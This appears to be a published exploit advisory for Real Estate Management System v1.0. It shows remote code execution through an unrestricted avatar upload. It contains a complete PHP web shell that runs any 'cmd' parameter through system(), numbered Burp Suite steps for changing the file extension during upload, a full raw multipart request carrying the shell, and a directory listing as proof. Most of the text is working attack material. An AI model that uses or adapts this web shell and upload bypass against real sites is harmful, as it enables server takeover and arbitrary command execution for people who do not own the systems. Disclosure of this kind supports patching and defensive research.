Real Estate Management System version 1.0 suffers from a remote shell upload vulnerability.
839e1e676d2dbd464ca5097616ef9a9bec7bfb837d94aa2a8ab1088675a02115# Exploit Title: Real Estate Management System v1.0 - Remote Code Execution via File Upload
# Date: 2/11/2024
# Exploit Author: Diyar Saadi
# Vendor Homepage: https://codeastro.com
# Version: V1.0
# Tested on: Windows 11 + XAMPP 8.0.30 + Burp Suite Professional v2023.12.1.3
## Description ##
This Vulnerability allow the attacker to execute command injection payloads and upload malicious file into web server .
-----------------------------------------------------------------------------------------------------------------------
## Simple RCE Payload : ##
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system_payload($_GET['cmd']);
}
?>
</pre>
</body>
</html>
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## Steps to Reproduce ##
1- Open Burp Suite ( Community + Professional ) + Click on Proxy Tab Then Enable Intercept By Clicking at Intercept is off .
2- Open The Browser From Proxy Tab Then Open The Resgister Web Page : http://localhost:8080/realestate/register.php
3- Prepare Your RCE PHP Script Base From Notepad or Any Editor Then Save the RCE PHP Script Base as : avatar.php filename .
4- Change The Filename extension into avatar.png , after save the RCE PHP Script .
5- Click Chose File From User Image Section Then Upload Your avatar.png file .
6- Click Register Then Back to Burp Suite Proxy Tab :
7- Modify File Extension Into Orginal File Extension that is : avatar.php in Example : Content-Disposition: form-data; name="uimage"; filename="avatar.png"
Content-Type: image/png .
8- After Modify The Content-Disposition From Burp Suite Proxy Tab Into Orginal File Extension Click Forward Button .
9- Open The Login Page : http://localhost:8080/realestate/login.php Then Register Through Your Account Email & Password .
10 - From MenuBar Click My Account & Profile Then Right Click at Image Icon > Copy Link > New Tab > Paste > Your Malicious Command is Ready To Execute .!
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## Burp Request : ##
POST /realestate/register.php HTTP/1.1
Host: localhost
Content-Length: 1100
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywA99kZOAu8APGlhv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/realestate/register.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="name"
johnhamosh
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="email"
rasu1l@in.com
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="phone"
+199988764
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="pass"
<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html>
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="utype"
user
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="uimage"; filename="avatar.php"
Content-Type: image/png
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="reg"
Register
------WebKitFormBoundarypgW90eleiRxRzcEK--
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## PoC Simple RCE Through This Vulnerability : ##
Directory of C:\xampp\htdocs\realestate\admin\user
..
02/11/2024 08:09 PM 315 avatar.php
02/11/2024 08:04 PM 315 avatar.png
02/11/2024 06:54 PM 9,376 avatarm2-min.jpg
02/11/2024 06:54 PM 13,186 avatarm7-min.jpg
02/11/2024 07:47 PM 1,814 avatars.php
02/11/2024 06:54 PM 1,313 gr7.png
02/11/2024 07:36 PM 28 poc.php
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## Video PoC : ##
1- https://github.com/vulnerablecms/RCE-RealEstateVIDEOPOC/blob/main/PoC-RCE.mp4
2- https://gofile.io/d/AEWEgI
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